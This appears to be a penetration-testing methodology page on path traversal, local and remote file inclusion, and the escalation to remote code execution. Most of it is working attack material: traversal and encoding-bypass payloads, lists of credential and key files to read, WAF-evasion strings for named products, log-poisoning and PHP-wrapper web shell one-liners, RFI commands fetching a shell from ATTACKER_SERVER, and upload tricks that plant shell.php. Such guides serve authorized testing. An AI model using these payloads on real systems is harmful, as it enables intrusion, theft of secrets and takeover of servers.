| CWE | CWE-22, CWE-98 |
| WSTG | WSTG-ATHZ-01 |
| MITRE ATT&CK | T1083 |
| CVSS Range | 5.3-9.8 |
| Tools | dotdotpwn |
| Difficulty | 🟡 intermediate |
Path Traversal
Path Traversal vulnerabilities let attackers escape the intended directory via sequences like ../ to read arbitrary files. When the application includes or executes the accessed file, this escalates to Local File Inclusion (LFI) or Remote File Inclusion (RFI), potentially achieving full RCE.
Quick Reference​
Common traversal sequences to test first:
| Sequence | Platform | Notes |
|---|---|---|
../../../etc/passwd | Unix | Basic relative traversal |
..\..\..\..\windows\win.ini | Windows | Backslash traversal |
....//....//....//etc/passwd | Unix | Double-dot bypass |
..%2f..%2f..%2fetc%2fpasswd | Unix | URL-encoded |
..%252f..%252f..%252fetc%252fpasswd | Unix | Double URL-encoded |
..%c0%af..%c0%af..%c0%afetc/passwd | Unix | UTF-8 overlong |
../../../etc/passwd%00.jpg | Any | Null byte + extension |
/etc/passwd | Unix | Absolute path (direct) |
Vulnerable parameter names to check:
file filename filepath path name
page template include module document
doc folder directory dir load
action content site lang language
view cat category read download
style css layout theme skin
img image src source pdf
report log config conf data
Also check cookie values, HTTP headers, and API endpoints (/api/download?file=, /api/export?format=).
Identify and Test Basic Traversal​
Step 1: Identify Injection Points​
Look for any parameter that may feed into file operations. Check URL parameters, form fields, cookies, HTTP headers, and REST path segments.
Step 2: Test Basic Sequences​
Start with simple detection payloads, incrementing depth:
# Unix - test incrementally until you hit root
for i in $(seq 1 15); do
payload=$(printf '../%.0s' $(seq 1 $i))
curl -s "https://TARGET/endpoint?file=${payload}etc/passwd"
done
# Windows
curl -s "https://TARGET/endpoint?file=..\\..\\..\\windows\\win.ini"
curl -s "https://TARGET/endpoint?file=..%5c..%5c..%5cwindows%5cwin.ini"
Mixed sequences for applications that normalize:
..\/
..\\../
..\\/..
..%2f
..%5c..%2f
Step 3: Analyze Responses​
Vulnerable indicators:
- File contents returned in the response body
- Different error messages for existing vs non-existing files (e.g., "Permission denied" vs "File not found")
- File metadata returned (size, modification time)
- Timing differences based on file existence
- Application behavior changes based on included file
False positive indicators:
- Generic error for all malformed input
- Input reflected without processing
- Consistent response regardless of path
Step 4: Blind Path Traversal​
When you cannot see file contents directly:
# Time-based oracle
time curl -s "https://TARGET/endpoint?file=../../../etc/passwd"
time curl -s "https://TARGET/endpoint?file=../../../etc/nonexistent"
# Error-based oracle - look for different error text
curl -s "https://TARGET/endpoint?file=../../../etc/passwd" # "Permission denied"
curl -s "https://TARGET/endpoint?file=../../../etc/nonexistent" # "File not found"
Encoding Bypass Chains​
When basic sequences are filtered, apply encoding layers systematically.
URL Encoding (Single)​
..%2f → ../
..%5c → ..\
%2e%2e%2f → ../
%2e%2e/ → ../
%2e%2e%5c → ..\
URL Encoding (Double)​
The server decodes once, the application decodes again:
..%252f → decoded once: ..%2f → decoded twice: ../
%252e%252e%252f → full double encoding of ../
..%255c → Windows double-encoded backslash
Unicode / UTF-8 Encoding​
..%c0%af → UTF-8 encoded /
..%c1%9c → UTF-8 encoded \
%c0%2e%c0%2e/ → UTF-8 dots
%e0%80%af → Overlong UTF-8 /
..%ef%bc%8f → Full-width /
Overlong UTF-8 Representations​
%c0%ae → Overlong . (period)
%c0%2e → Another overlong .
%e0%40%ae → Three-byte overlong .
%c0%af → Overlong /
%c0%5c → Overlong \
16-Bit Unicode Encoding​
..%u002f → Unicode /
..%u005c → Unicode \
%u002e%u002e/ → Unicode dots
Null Byte Injection​
For applications that append extensions (e.g., .php, .jpg), null bytes may terminate the string early:
../../../etc/passwd%00
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
../../../etc/passwd\0
../../../etc/passwd\x00
Null byte injection is largely fixed in modern PHP (5.3.4+), Python 3, and other modern runtimes, but always test on legacy systems.
Target Files​
Unix Sensitive Files​
/etc/passwd # User enumeration
/etc/shadow # Password hashes (requires root)
/etc/hosts # Internal hostnames
/etc/hostname # Server hostname
/etc/issue # OS version info
/etc/motd # Message of the day
/etc/apache2/apache2.conf # Apache config
/etc/nginx/nginx.conf # Nginx config
/etc/mysql/my.cnf # MySQL config
/var/log/apache2/access.log # Apache access logs
/var/log/apache2/error.log # Apache error logs
/var/log/nginx/access.log # Nginx access logs
/var/log/nginx/error.log # Nginx error logs
/var/log/auth.log # Authentication logs
/var/log/mail.log # Mail logs
/var/log/vsftpd.log # FTP logs
/proc/version # Kernel version
/proc/self/environ # Environment variables (often contains secrets)
/proc/self/cmdline # Process command line
/proc/net/tcp # Network connections
/home/[user]/.bash_history # Command history
/home/[user]/.ssh/id_rsa # SSH private keys
/home/[user]/.ssh/authorized_keys # Authorized SSH keys
/root/.bash_history # Root command history
/root/.ssh/id_rsa # Root SSH private key
Windows Sensitive Files​
C:\Windows\win.ini
C:\Windows\System32\config\SAM # Requires admin
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\mysql\data\mysql.err
C:\Windows\debug\NetSetup.log
C:\Windows\System32\LogFiles\
C:\Users\[username]\Desktop\
C:\Users\[username]\.ssh\id_rsa
Application Config Files​
.env # Environment variables, credentials
.git/config # Git configuration, remote URLs
.git/HEAD # Git HEAD reference
config.php # PHP config
wp-config.php # WordPress (DB creds, auth keys)
configuration.php # Joomla config
settings.py # Django settings
database.yml # Rails database config
.htaccess # Apache directory config
web.xml # Java web app descriptor
context.xml # Tomcat context
application.properties # Spring Boot config
application.yml # Spring Boot YAML config
appsettings.json # .NET Core config
package.json # Node.js dependencies
.env.local / .env.production # Framework-specific env files
Hidden Files and Directories (Brute-force Targets)​
Always check for exposed hidden files and directories:
/.env
/.git/
/.git/config
/.gitignore
/.bak
/.old
/.swp
/robots.txt # Review for hidden directories
/sitemap.xml # Review for hidden paths
/.htpasswd
/.DS_Store
/backup/
/admin/
/debug/
Review robots.txt and sitemap.xml entries for disallowed or unlisted directories that may contain sensitive content.
Cloud Metadata Endpoints (SSRF Chain)​
If traversal can reach network-accessible resources:
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
# Azure
http://169.254.169.254/metadata/instance
http://169.254.169.254/metadata/identity/oauth2/token
Escalate LFI to RCE​
Once you confirm LFI (ability to include/execute local files), attempt these escalation techniques.
Log Poisoning​
The most reliable LFI-to-RCE technique. Inject code into a log file, then include that log via LFI.
Apache Access Log (/var/log/apache2/access.log):
# Step 1: Poison the log via User-Agent header
curl -A "<?php system(\$_GET['cmd']); ?>" https://TARGET/
# Step 2: Include the poisoned log
curl "https://TARGET/vuln.php?file=../../../var/log/apache2/access.log&cmd=id"
Apache Error Log (/var/log/apache2/error.log):
# Trigger an error containing payload
curl "https://TARGET/<?php system(\$_GET['cmd']); ?>"
# Include error log
curl "https://TARGET/vuln.php?file=../../../var/log/apache2/error.log&cmd=id"
Nginx Logs (/var/log/nginx/access.log, /var/log/nginx/error.log):
Same technique as Apache.
SSH Auth Log (/var/log/auth.log):
# Attempt SSH login with PHP code as username
ssh '<?php system($_GET["cmd"]); ?>'@TARGET
# Include the auth log
curl "https://TARGET/vuln.php?file=../../../var/log/auth.log&cmd=id"
Mail Log (/var/log/mail.log):
mail -s "<?php system(\$_GET['cmd']); ?>" victim@TARGET < /dev/null
curl "https://TARGET/vuln.php?file=../../../var/log/mail.log&cmd=id"
FTP Log (/var/log/vsftpd.log):
# Login attempt with PHP code as username
ftp TARGET
# Username: <?php system($_GET['cmd']); ?>
/proc/self Exploitation​
/proc/self/environ -- Process environment variables often contain injected headers:
# Inject payload via User-Agent (stored in environ on some configs)
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" \
"https://TARGET/vuln.php?file=../../../proc/self/environ&cmd=id"
/proc/self/fd -- File descriptors may reference POST data or open log handles:
for fd in $(seq 0 50); do
curl -X POST "https://TARGET/vuln.php?file=../../../proc/self/fd/$fd" \
-d "<?php system('id'); ?>" 2>/dev/null | grep -q "uid=" && echo "FD $fd works!"
done
/proc/self/cmdline -- May reveal sensitive command-line arguments (passwords, keys):
curl "https://TARGET/vuln.php?file=../../../proc/self/cmdline"
PHP Wrappers​
These work when the backend is PHP.
php://filter -- Read source code as base64 (always works with LFI, no special config needed):
curl "https://TARGET/vuln.php?file=php://filter/convert.base64-encode/resource=config.php"
curl "https://TARGET/vuln.php?file=php://filter/read=convert.base64-encode/resource=index.php"
curl "https://TARGET/vuln.php?file=php://filter/convert.base64-encode/resource=../../../etc/passwd"
php://input -- Direct code execution (requires allow_url_include=On):
curl -X POST "https://TARGET/vuln.php?file=php://input" \
-d "<?php system('id'); ?>"
data:// -- Direct code execution (requires allow_url_include=On):
# Base64 encoded payload
curl "https://TARGET/vuln.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id"
# Plain text
curl "https://TARGET/vuln.php?file=data://text/plain,<?php system('id'); ?>"
expect:// -- Direct command execution (requires expect extension, rare):
curl "https://TARGET/vuln.php?file=expect://id"
zip:// -- Include PHP from inside a ZIP archive:
# Create malicious ZIP
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip evil.zip shell.php
# Upload the ZIP, then include from it
curl "https://TARGET/vuln.php?file=zip://uploads/evil.zip%23shell.php&cmd=id"
phar:// -- Include PHP from a PHAR archive:
curl "https://TARGET/vuln.php?file=phar://uploads/evil.phar/shell.php"
Session Files​
PHP session files can be poisoned if you control any session variable:
# Step 1: Set a session variable containing PHP code
curl -b "PHPSESSID=attacker_session" "https://TARGET/page?lang=<?php system('id'); ?>"
# Step 2: Include the session file (default paths)
curl "https://TARGET/vuln.php?file=../../../tmp/sess_attacker_session"
curl "https://TARGET/vuln.php?file=../../../var/lib/php/sessions/sess_attacker_session"
Test Remote File Inclusion​
Remote File Inclusion requires allow_url_include=On (disabled by default in PHP 5.2+). Always test even if unlikely.
Basic RFI:
# Host malicious PHP on attacker server (use .txt to avoid local execution)
echo '<?php system($_GET["cmd"]); ?>' > shell.txt
curl "https://TARGET/vuln.php?file=http://ATTACKER_SERVER/shell.txt&cmd=id"
curl "https://TARGET/vuln.php?file=https://ATTACKER_SERVER/shell.txt&cmd=id"
FTP-based RFI:
curl "https://TARGET/vuln.php?file=ftp://ATTACKER_SERVER/shell.txt"
SMB-based RFI (Windows targets):
curl "https://TARGET/vuln.php?file=\\\\ATTACKER_SERVER\\share\\shell.php"
Bypassing extension appending:
http://ATTACKER_SERVER/shell.txt%00
http://ATTACKER_SERVER/shell.txt?
http://ATTACKER_SERVER/shell.txt%23
Bypass Filters​
When simple traversal sequences are blocked, escalate through these techniques.
Nested/Double Sequences​
If the application strips ../ non-recursively:
....//....//....//etc/passwd
..../..../..../etc/passwd
....\\....\\....\\etc/passwd
....\/....\/....\/etc/passwd
Dot Segment Abuse​
/..;/..;/etc/passwd # Semicolon bypass (Tomcat-specific)
/../../../etc/passwd # Leading slash
/....//....//etc/passwd # Double sequence
//....//....//etc/passwd # Double leading slash
Path Parameter Injection​
When paths are passed as URL path segments:
/api/files/../../../etc/passwd
/download/file/../../../etc/passwd
/static/../../../etc/passwd
Prefix Bypass​
If the application prepends a directory:
file=../uploads/../../../etc/passwd
file=./../../../../etc/passwd
file=/var/www/../../etc/passwd
Absolute Path​
If the application uses input directly without prepending:
file=/etc/passwd
file=C:\windows\win.ini
Fragment and Query String Abuse​
../../../etc/passwd#
../../../etc/passwd?
../../../etc/passwd?.jpg
../../../etc/passwd#.jpg
Protocol Handler Abuse​
file:///etc/passwd
file://localhost/etc/passwd
file://127.0.0.1/etc/passwd
netdoc:///etc/passwd
Case Sensitivity (Windows)​
On case-insensitive filesystems:
..\..\..\..\Windows\win.ini
..\..\..\..\WINDOWS\WIN.INI
..\..\..\..\WiNdOwS\WiN.InI
Path Truncation (Legacy Systems)​
Exceed max path length to truncate an appended extension:
../../../etc/passwd/./././.[repeat 1000+ times]
Upload + Traversal Chaining​
# Upload with traversal in filename
curl -F "file=@shell.php;filename=../../../var/www/html/shell.php" https://TARGET/upload
# ZIP Slip attack
curl -F "file=@evil.zip" https://TARGET/upload_extract
Evade WAFs​
Cloudflare​
..%252f..%252f..%252fetc%252fpasswd
..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd
..%c0%af..%c0%af..%c0%afetc/passwd
ModSecurity​
../ / ../etc/passwd
../../../etc/passwd--
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Akamai​
/./././../../../etc/passwd
/./../../../etc/passwd
General WAF Evasion Principles​
- Use multiple encoding layers (single encode, double encode, UTF-8 overlong)
- Mix different encoding schemes within the same payload
- Add legitimate-looking suffixes (
.jpg,.png) - Break up suspicious patterns with allowed characters
- Use protocol-specific features (
file://,zip://) - Test with and without URL encoding of the target filename itself
Build the PoC​
Verification Levels​
L1 -- Basic Confirmation (minimum for a valid finding):
- Successfully read a known system file (e.g.,
/etc/passwdon Linux,win.inion Windows) - Response contains recognizable file content
- Payload demonstrates traversal (not just direct file access)
- Capture the full HTTP request showing the traversal payload and the full response showing file contents
L2 -- Sensitive Data Access:
- Access configuration files containing credentials
- Access source code, private keys, or database files
- Capture content (redact secrets appropriately) and explain why the data is sensitive
L3 -- Code Execution:
- Demonstrate LFI-to-RCE via log poisoning, PHP wrappers, or RFI
- Show command output confirming execution (
id,whoami) - Document the full chain step-by-step for reproduction
L4 -- Full System Compromise:
- Shell access obtained through path traversal chain
- Prove arbitrary command execution (
whoami,id,hostname) - List accessible sensitive files and assess lateral movement potential
Evidence Checklist​
Before marking exploitation complete, verify you have:
- Tested basic traversal sequences (
../) - Tested Windows-style traversal (
..\) - Tested URL encoding (
%2e%2e%2f) - Tested double URL encoding (
%252e%252e%252f) - Tested Unicode encoding (
%c0%ae, etc.) - Tested null byte injection (
%00) - Tested nested/double sequences (
....//etc.) - Tested absolute paths
- Tested path depth from 1 to 10+ levels
- Tested multiple target files (passwd, win.ini, .env, .git/config)
- Tested all identified parameters
- Tested header and cookie injection points
- Tested PHP wrappers (if PHP backend)
- Tested log poisoning paths (if LFI confirmed)
- Checked
robots.txtandsitemap.xmlfor hidden directories - Brute-forced for hidden files (
.env,.git/,.bak,.old) - Documented all attempts with responses
- Captured evidence for successful exploitation
- Assessed full impact and escalation potential
Tools​
DotDotPwn (Automated Traversal Fuzzer)​
# HTTP module - GET parameter
perl dotdotpwn.pl -m http -h TARGET -x 8080 -f /etc/passwd \
-k "root:" -d 8 -t 200 -s
# HTTP module - URL traversal with placeholder
perl dotdotpwn.pl -m http-url -u "https://TARGET/download?file=TRAVERSAL" \
-f /etc/passwd -k "root:"
# FTP module
perl dotdotpwn.pl -m ftp -h TARGET -f /etc/passwd
Key options: -m module (http, http-url, ftp, tftp, payload, stdout), -f target file, -k success keyword, -d traversal depth (default 6), -t delay between requests (ms), -s SSL mode.
ffuf (File Fuzzing)​
# Enumerate readable files via LFI
ffuf -u "https://TARGET/read?file=../../../FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
-mc 200 -fs 0
# With URL encoding
ffuf -u "https://TARGET/read?file=..%2f..%2f..%2fFUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
-mc 200 -fs 0
# Windows targets
ffuf -u "https://TARGET/read?file=..\\..\\..\\FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt \
-mc 200 -fs 0
Manual curl Testing​
# Basic traversal
curl -s "https://TARGET/read?file=../../../etc/passwd"
curl -s "https://TARGET/read?file=....//....//....//etc/passwd"
# Encoded
curl -s "https://TARGET/read?file=..%2f..%2f..%2fetc%2fpasswd"
curl -s "https://TARGET/read?file=..%252f..%252f..%252fetc%252fpasswd"
curl -s "https://TARGET/read?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Null byte
curl -s "https://TARGET/read?file=../../../etc/passwd%00.jpg"
# Absolute
curl -s "https://TARGET/read?file=/etc/passwd"
# Windows
curl -s "https://TARGET/read?file=..\\..\\..\\windows\\win.ini"
Directory/File Brute-forcing​
Use directory brute-forcing tools to discover hidden files that may be readable via traversal or direct access:
# Discover hidden files and directories
ffuf -u "https://TARGET/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,403
# Check for backup and config files
ffuf -u "https://TARGET/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
-mc 200
# Check for .git exposure
curl -s "https://TARGET/.git/config"
curl -s "https://TARGET/.git/HEAD"
Framework-Specific File Targets​
WordPress:
/wp-content/plugins/[plugin]/[file].php?file=../../../wp-config.php
/wp-admin/admin-ajax.php?action=some_action&file=../../../wp-config.php
# Target: wp-config.php, wp-includes/version.php, wp-content/debug.log
Laravel:
# Target: .env, config/app.php, config/database.php, storage/logs/laravel.log
Node.js/Express:
# Target: package.json, .env, config/default.json
Spring/Java:
# Target: application.properties, application.yml, WEB-INF/web.xml, META-INF/MANIFEST.MF
ASP.NET:
# Target: web.config, appsettings.json, bin/, App_Data/
Prioritization​
Test these first (highest real-world exploitability)​
- Basic traversal on file download/read endpoints -- EPSS >0.6 for path traversal CVEs. File download, export, and template-loading parameters are the most commonly exploited vectors. Test
../../../etc/passwdfirst. - LFI on PHP applications -- PHP's
include()/require()make LFI-to-RCE straightforward via log poisoning orphp://wrappers. If the backend is PHP, this is high priority. - Traversal in file upload filenames -- Upload endpoints that use the original filename for storage are vulnerable to path traversal in the filename itself (ZIP Slip,
../../shell.php).
Test these if time permits (lower exploitability)​
- Encoding bypass chains (double URL encoding, UTF-8 overlong) -- Only needed when basic traversal is filtered. Methodically try each encoding layer.
- RFI (Remote File Inclusion) -- Requires
allow_url_include=Onin PHP (disabled by default since PHP 5.2). Rare but devastating when present. - Path truncation and null byte injection -- Largely fixed in modern runtimes (PHP 5.3.4+, Python 3). Only test on legacy systems.
Skip if​
- Application does not serve files based on user-supplied paths or filenames
- All file references use database IDs or UUIDs rather than filesystem paths
Note: Containerized environments still contain sensitive files (/etc/passwd, /proc/self/environ, /var/run/secrets/kubernetes.io/serviceaccount/token). Do not skip based on container deployment alone.
Asset criticality​
Prioritize endpoints that access sensitive files: configuration file readers > log viewers > file download endpoints > template loaders > static asset servers. Traversal on endpoints with write capability (upload + traversal) is always higher priority than read-only traversal.